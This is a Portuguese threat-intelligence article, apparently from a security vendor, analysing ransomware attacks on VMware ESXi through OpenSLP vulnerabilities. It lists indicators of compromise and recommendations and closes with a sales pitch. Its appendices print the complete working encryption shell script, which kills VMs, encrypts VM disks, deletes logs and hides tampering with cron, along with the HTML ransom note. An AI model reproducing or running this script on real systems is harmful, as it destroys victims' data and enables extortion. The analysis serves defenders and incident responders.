VMware ESXi na linha de fogo do ransomware

Os servidores que executam o popular hipervisor de virtualização VMware ESXi foram atacados por pelo menos um grupo de ransomware há poucos dias, provavelmente após uma atividade de varredura para identificar hosts com vulnerabilidades Open Service Location Protocol (OpenSLP). 

Especificamente, os relatórios sugerem que os agentes de ameaças têm aproveitado os sistemas sem patches vulneráveis ao CVE-2020-3992 e CVE-2021-21971 que, quando explorados, podem permitir a execução remota do código. 

Tendo localizado e explorado um host vulnerável, os agentes de ameaças estão executando uma carga útil de ransomware que modifica a configuração do ESXi antes de criptografar os arquivos associados às máquinas virtuais e, finalmente, lançar uma nota de resgate específica para a vítima com detalhes de como o pagamento pode ser feito. 

Embora a nota sugira que os dados foram roubados, isso ainda não foi confirmado e não há nenhum código de transferência de arquivo aparente nas amostras observadas. No entanto, qualquer agente de ameaça com a capacidade de executar um código em uma máquina comprometida pode facilmente usar utilitários disponíveis no mercado para executar a exfiltração de dados antes da criptografia. 

Dos incidentes observados até agora, um grupo de ransomware como serviço (RaaS) conhecido como Nevada, considerado ativo desde o final de 2022, parece ser responsável por muitos desses ataques recentes, embora sua nota de resgate compartilhe muitas semelhanças com o Cheerscrypt, uma ameaça de ransomware que visava o VMware ESXi no início e meados de 2022. 

Dada a natureza contínua dessa ameaça, as organizações que usam o VMware ESXi versão 7.x e anteriores são aconselhadas a garantir que suas instalações sejam devidamente corrigidas com urgência. 

Grupo de ransomware Nevada

Acredita-se que o Nevada esteja associado aos ataques contra servidores VMware ESXi vulneráveis, especificamente, o grupo é suspeito de realizar atividades de varredura generalizadas para identificar hosts ESXi vulneráveis a CVE-2020-3992 e CVE-2021-21974 usando os seguintes endereços IP: 

43.130.10[.]173 
104.152.52[.]55 
193.163.125[.]138

Como outros grupos RaaS, o Nevada já havia anunciado anteriormente em fóruns de crimes cibernéticos para recrutar afiliados. Em troca de fornecer a carga útil do ransomware e a infraestrutura de suporte, o grupo recebe uma comissão de 10 a 15%, dependendo do status do afiliado, de qualquer vítima que fizer o pagamento do resgate. 

De acordo com suas próprias postagens, o Nevada fornece aos afiliados uma carga útil de “armário” (criptografia) escrita em Rust que tem suporte para hosts Linux, Windows e VMwareESXi, o último é objeto deste recente aumento na verificação de vulnerabilidade e ataques de ransomware. 

Usando essa carga útil de criptografia multithread, o Nevada afirma que usa AES e criptografia de curva elíptica (ECC) para criptografar arquivos de vítimas em “faixas” que tornam os dados inacessíveis, mantendo alto desempenho e reduzindo o tempo para concluir o processo de criptografia. 

Além de fornecer a carga útil real do ransomware usada para criptografar os dados da vítima – carga construída por vítima – o Nevada oferece aos seus afiliados acesso a um painel de controle usado para negociar com as vítimas. 

Vulnerabilidades do VMware ESXi

As seguintes vulnerabilidades do VMware ESXi (relacionadas à implementação do OpenSLP) foram exploradas nesses incidentes recentes: 

• CVE-2020-3992 
• CVE-2021-21974 

O primeiro passo que as organizações devem tomar é seguir o conselho dos avisos de segurança originais da VMwre e garantir que suas instalações sejam totalmente corrigidas e, no caso do ESXi 6.5 e 6.7, suportadas por seu fornecedor, visto que o fim do suporte geral para essas instalações foi em outubro de 2022. 

Se apropriado para o seu ambiente, detalhes de uma solução temporária que desativa o serviço SLP são fornecidos no artigo 76372 da base de conhecimento da VMware. 

CVE-2020-3992

Detalhada no comunicado de segurança VMware VMSA-2020-0023.3, uma vulnerabilidade OpenSLP use-after-free pode ser explorada por um agente de ameaça com acesso a um host ESXi via porta 427 para obter a execução remota do código. 

Embora as práticas recomendadas limitem o acesso a essa porta de hosts específicos em uma rede de gerenciamento, agentes de ameaças que operam em uma rede comprometida ou hosts ESXi inadvertidamente expostos à internet podem criar uma situação em que essa vulnerabilidade pode ser explorada remotamente. 

Com uma pontuação CVSS v3 de 9,8 esta vulnerabilidade é considerada crítica e afeta as versões 6.5, 6.7 e 7.0 do VMware ESXi. 

CVE-2021-21974

Detalhada no comunicado de segurança VMware VMSA-2021-0002, uma vulnerabilidade de estouro de pilha OpenSLP também pode ser explorada por um agente de ameaça com acesso a um host ESXi via porta 427 para obter a execução remota de código. 

Como no cenário anterior, o agente de ameaça precisaria estar na mesma rede que o host VMware ESXi, embora os hosts tenham sido expostos inadvertidamente (conforme verificado pelos agentes de ameaças nesses incidentes) podem permitir a exploração. 

Apesar de não ser tão grave quanto o CVE-2020-3992, essa vulnerabilidade recebeu uma pontuação CVSS v3 de 8,8 e, portanto, é considerada importante, e também afeta as versões 6.5, 6.7 e 7.0 do VMware ESXi. 

Carga útil do ransomware

Amplamente atribuído ao grupo de ransomware Nevada, uma ferramenta de criptografia executável do Linux (encrypt) e um script do shell associado (encrypt.sh) foram observados sendo descartados em hosts VMware ESXi comprometidos e usados para criptografar arquivos de máquinas virtuais. 

Além desses dois arquivos, o shell script indica que os seguintes arquivos também estarão presentes em um host comprometido: 

• html – Uma nota de resgate usada para substituir as páginas de gerenciamento do VMware ESXi 
• motd – Uma nota de resgate a ser exibida na inicialização/login 
• pem – Uma chave pública usada para criptografia 

• zip – Potencialmente um arquivo contendo a carga útil do ransomware 

Encerramento da máquina virtual

Antes de iniciar a fase de criptografia, o script de shell do ransomware usa a interface de linha de comando ESX| integrada, esxcli, para identificar o arquivo de configuração de cada máquina virtual. 

Dentro de cada um desses arquivos de configuração, os nomes de arquivo do disco virtual (.vmdk) e virtual swar (.vswp) terão o numeral 1 anexado antes da extensão do arquivo, por exemplo, myvirtualmachine.vmdk se tornaria myvirtualmachine1.vmdk: 

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

Essa ação aumenta o tempo e a complexidade da recuperação, pois todos os arquivos de configuração precisarão ser reconstituídos para apontar para os caminhos de arquivo corretos. 

Tendo modificado os arquivos de configuração, cada máquina virtual é identificada pesquisando a saída da lista de processos atualmente em execução e finalizando qualquer processo que contenha a string “vmx”: 

kill -9 $(ps | grep vmx | awk '{print $2}')

Criptografia 

Depois de encerrar com força todas as máquinas virtuais, garantindo que os arquivos de destino não sejam bloqueados, o script do shell prossegue para a fase de criptografia e começa concedendo permissões de execução da carga útil criptografada: 

chmod +x $CLEAN_DIR/encrypt

Usando a interface de linha de comando ESXi, o script itera por meio de uma lista de volumes do sistema de arquivos da máquina virtual que são pesquisados pelos seguintes tipos de arquivo: 

• .vmdk ― Virtual disk container 
• .vmx ― Primary configuration 
• .vmxf ― Supplementary configuration 
• .vmsd ― Snapshot metadata 
• .vmsn ― Snapshot saved state 

• .vswp ― Swap memory 
• .vmss ― Suspend state 
• .nvram ― CMOS/BIOS 
• .vmem ― Memory paging 

O tamanho dos arquivos encontrados nesse processo é calculado para determinar como eles serão processados, sendo que os menores de 128 MB são criptografados em sua totalidade e os maiores de 128 MB são criptografados em “etapas”. 

O tamanho do passo usado pelo processo de criptografia é calculado dividindo o tamanho do arquivo em MB por 100 e subtraindo um: 

if [[ $(($size_kb/1024)) -gt 128 ]]; then 

  size_step=$((($size_kb/1024/100)-1)) 

fi 

Dado o grande tamanho dos arquivos associados às máquinas virtuais, essa abordagem tornará a maioria dos arquivos inacessíveis sem a necessidade e o tempo para criptografar a totalidade dos dados. 

Antes de executar o processo de criptografia, os argumentos da linha de comando são salvos em um arquivo texto correspondente ao arquivo “destino” atual com uma extensão de arquivo .args, por exemplo: myvirtualmachine1.vmdk.args: 

echo $size_step 1 $((size_kb*1024)) > "$file_e.args"

Presumivelmente, isso auxilia o processo de descriptografia registrando o tamanho da etapa de criptografia. 

Usando os argumentos de tamanho de etapa calculados e especificando o arquivo public.pem de chave pública, a carga criptografada é executada usando o comando nohup “no hang up” para garantir que o processo continue a ser executado mesmo se o usuário (agente de ameaça) fizer logoff: 

nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

A execução da carga criptografada sem nenhum parâmetro nos fornece uma explicação útil: 

usage: encrypt   [] [] [] 

 enc_step - number of MB to skip while encryption 

 enc_size - number of MB in encryption block 

 file_size - file size in bytes (for sparse files) 

Notas de resgate

Assim que a fase de criptografia for concluída, o shell script procurará /usr/lib/vmware por arquivos denominados index1.html, colocará um index.html substituto contendo a nota de resgate em seu lugar: 

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

Nesse ponto, qualquer administrador que tentar acessar a interface administrativa do ESXi receberá uma nota de resgate (Figura 1) contendo um endereço de carteira bitcoin específico da vítima. 

Possíveis locais para os arquivos index.html incluem: 

/usr/lib/vmware/hostd/docroot 

/usr/lib/vmware/hostd/docroot/ui/ 

Além disso, para garantir que a nota de resgate seja exibida a qualquer administrador que faça login no host ESXi comprometido por meio do console ou SSH, o arquivo da mensagem do dia (motd) também foi renomeado e substituído: 

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd

Semelhança da nota de resgate

Conforme mencionado anteriormente neste artigo, o conteúdo da nota de resgate observado nesses incidentes recentes é semelhante ao usado pelo ransomware Cheerscrypt, uma ameaça que também visava servidores VMware ESXi e que foi observada pela primeira vez no segundo trimestre de 2022. 

Olá 

----------------------------------------------------- 

---------------------------------------------------- 

Alerta de segurança !!! 

Hackeamos sua empresa com sucesso 
Todos os arquivos foram roubados e criptografados por nós 
Se você deseja restaurar arquivos ou evitar vazamento de arquivos, entre em contato conosco 

------------------------------- 

Atenção !!! 

Contacte-nos no prazo de 3 dias, caso contrário iremos expor alguns dados e aumentar o preço 
Não tente descriptografar arquivos importantes, isso pode danificar seus arquivos 
Não confie em quem diz poder descriptografar, eles são mentirosos, ninguém pode descriptografar sem arquivo de chave 
Se você não entrar em contato conosco, notificaremos seus clientes sobre a violação de dados por e-mail e mensagem de texto 
E vender seus dados para seus concorrentes ou criminosos, os dados podem ser liberados 

----------------------------------------------- 

Informação 

Bate-papo ao vivo no site 
Você pode visitar este site e entrar em contato conosco por meio de widgets ou obter nosso endereço de e-mail neste site: 
hXXp://.onion 
Site de lançamento de dados 
Se você não pagar e ninguém quiser comprar seus dados, aparecerá aqui 
hXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion 

------------------------------------------ 

Aviso 

Como acessar URLs com sufixo onion? 
hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw 
Ou assista a este vídeo: 
hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw 

Embora isso possa ser apenas um exemplo de plágio de nota de resgate, vale a pena mencionar que grupos de ransomware são conhecidos por mudarem de nome no passado. 

Com base na nota de resgate do Cheerscrypt e em relatórios anteriores de suas atividades, o grupo de ransomware usou a tática de dupla extorsão em seus ataques cibernéticos e compartilhou alguns dados roubados em seu site de vazamento baseado em Tor. 

Por outro lado, não há nenhuma evidência específica neste momento que demonstre que o Nevada realizou a exfiltração de dados, embora a possibilidade continue. 

Recomendações

As organizações que usam o VMware ESXi devem garantir que suas instalações sejam corrigidas e atualizadas de acordo com a orientação da VMware. 

Organizações que usam o VMware ESXi versão 6.5 e 6.7 podem precisar verificar o status de suporte de suas instalações, pois o fim do suporte geral para ambas as versões está listado em outubro de 2022. 

Deve-se considerar desabilitar ou restringir o acesso à porta 427, especialmente de redes não confiáveis. 

Se o acesso remoto for necessário para hosts ESXi, considere colocá-los em uma rede que seja acessível após a primeira autenticação em uma VPN. 

Certifique-se de que os hosts ESXi estejam sujeitos a backups regulares, preferencialmente armazenados off-line, e que os procedimentos de recuperação de desastres sejam robustos, testados e comprovados. 

Recuperação

A Agência de Segurança Cibernética e Infraestrutura dos EUA (CISA) lançou um script de recuperação para vítimas de ataques de ransomware ESXiArgs. 

O script de recuperação está disponível no Github da CISA em https://github.com/cisagov/ESXiArgs-Recover 

Indicadores de compromisso

Os seguintes indicadores de compromisso (IOC) foram identificados associados a esta ameaça. 

Nota: Vários hashes criptográficos SHA256 foram identificados para o arquivo encrypt.sh, embora pareçam surgir de novas linhas ou diferenças de espaço em branco. Ainda que seja possível que várias versões estejam circulando, o conteúdo principal permanece o mesmo e essas diferenças sutis podem surgir de amostras sendo abertas e salvas em vários sistemas operacionais. 

Além disso, os logs podem mostrar tentativas de acesso ou atividade dos seguintes endereços IP: 

43.130.10[.]173 

104.152.52[.]55 

193.163.125[.]138 

Esses endereços IP foram associados à verificação e vulnerabilidades no passado e podem, portanto, serem hosts usados por vários agentes de ameaças. 

Apêndice A – criptografar o script shell

#!/bin/sh 

CLEAN_DIR="/tmp/" 

 

# SET LIMITS 

 

ulimit -p $(ulimit -Hp) 

ulimit -n $(ulimit -Hn) 

 

## CHANGE CONFIG 

 

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

 

## STOP VMX 

echo "KILL VMX" 

kill -9 $(ps | grep vmx | awk '{print $2}') 

 

## ENCRYPT 

 

chmod +x $CLEAN_DIR/encrypt 

 

for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ' '{print $2}'); do 

  echo "START VOLUME: $volume" 

  IFS=$'\n' 

  for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do 

      if [[ -f "$file_e" ]]; then 

        size_kb=$(du -k $file_e | awk '{print $1}') 

        if [[ $size_kb -eq 0 ]]; then 

          size_kb=1 

        fi 

        size_step=0 

        if [[ $(($size_kb/1024)) -gt 128 ]]; then 

          size_step=$((($size_kb/1024/100)-1)) 

        fi 

        echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))" 

        echo $size_step 1 $((size_kb*1024)) > "$file_e.args" 

        nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

      fi 

  done 

  IFS=$" " 

done 

 

## INDEX.HTML 

CLEAN_DIR="/tmp/" 

IFS=$'\n' 

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

IFS=$' ' 

 

## SSH HI 

 

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd 

 

## DELETE 

echo "START DELETE" 

 

/bin/find / -name *.log -exec /bin/rm -rf {} \; 

 

A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l) 

while [[ $A -ne 0 ]]; 

do 

  /bin/echo "Waiting for task' completion... ($A)" 

  /bin/sleep 0.1 

  A=$(/bin/ps | /bin/grep encrypt  | /bin/grep -v grep | /bin/wc -l) 

done 

 

if [ -f "/sbin/hostd-probe.bak" ]; 

then 

  /bin/rm -f /sbin/hostd-probe 

  /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe 

fi 

 

B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l) 

if [[ $B -ne 0 ]]; 

then 

  /bin/chmod +w /var/spool/cron/crontabs/root 

  /bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1 

  /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2 

  /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1 

  /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root 

  /bin/chmod -w /var/spool/cron/crontabs/root 

fi 

 

if [[ $B -eq 0 ]]; 

then 

  /bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh 

fi 

 

/bin/rm -f /store/packages/vmtools.py 

/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf 

/bin/echo '' > /etc/rc.local.d/local.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh 

 

/bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.pem" $CLEAN_DIR"archieve.zip" 

 

/bin/sh /bin/auto-backup.sh 

/bin/rm -- "$0" 

 

/etc/init.d/SSH start 

Apêndice B — Nota de resgate em HTML

  <html lang="en"> 

  <head> 
  
      <title>How to Restore Your Files</title> 
  
  </head> 
  
  <body> 
  
   
  
  <h1>How to Restore Your Files</h1> 
  
   
  
  <p><strong><u>Security Alert!!!</u></strong></p> 
  
  <p>We hacked your company successfully</p> 
  
  <p>All files have been stolen and encrypted by us</p> 
  
  <p>If you want to restore files or avoid file leaks, please send <b>&lt;RANSOM_AMOUNT_IN_BTC&gt;</b> bitcoins to the wallet <b>&lt;WALLET_ADDRESS&gt;</b></p> 
  
  <p>If money is received, encryption key will be available on <b>TOX_ID: &lt;THREAT_ACTOR_TOX_ID&gt;</b></p> 
  
   
  
  <p><strong><u>Attention!!!</u></strong></p> 
  
  <p>Send money within 3 days, otherwise we will expose some data and raise the price</p> 
  
  <p>Don't try to decrypt important files, it may damage your files</p> 
  
  <p>Don't trust who can decrypt, they are liars, no one can decrypt without key file</p> 
  
  <p>If you don't send bitcoins, we will notify your customers of the data breach by email and text message</p> 
  
  <p>And sell your data to your opponents or criminals, data may be made release</p> 
  
   
  
  <p><strong><u>Note</u></strong></p> 
  
  <p>SSH is turned on</p> 
  
  <p>Firewall is disabled</p> 
  
   
  
  <br> 
  
  </body> 
  
  </html> 

O que você deve fazer agora

Abaixo estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa. 

Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo a ver se a Varonis é adequada para suas necessidades. 

Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS.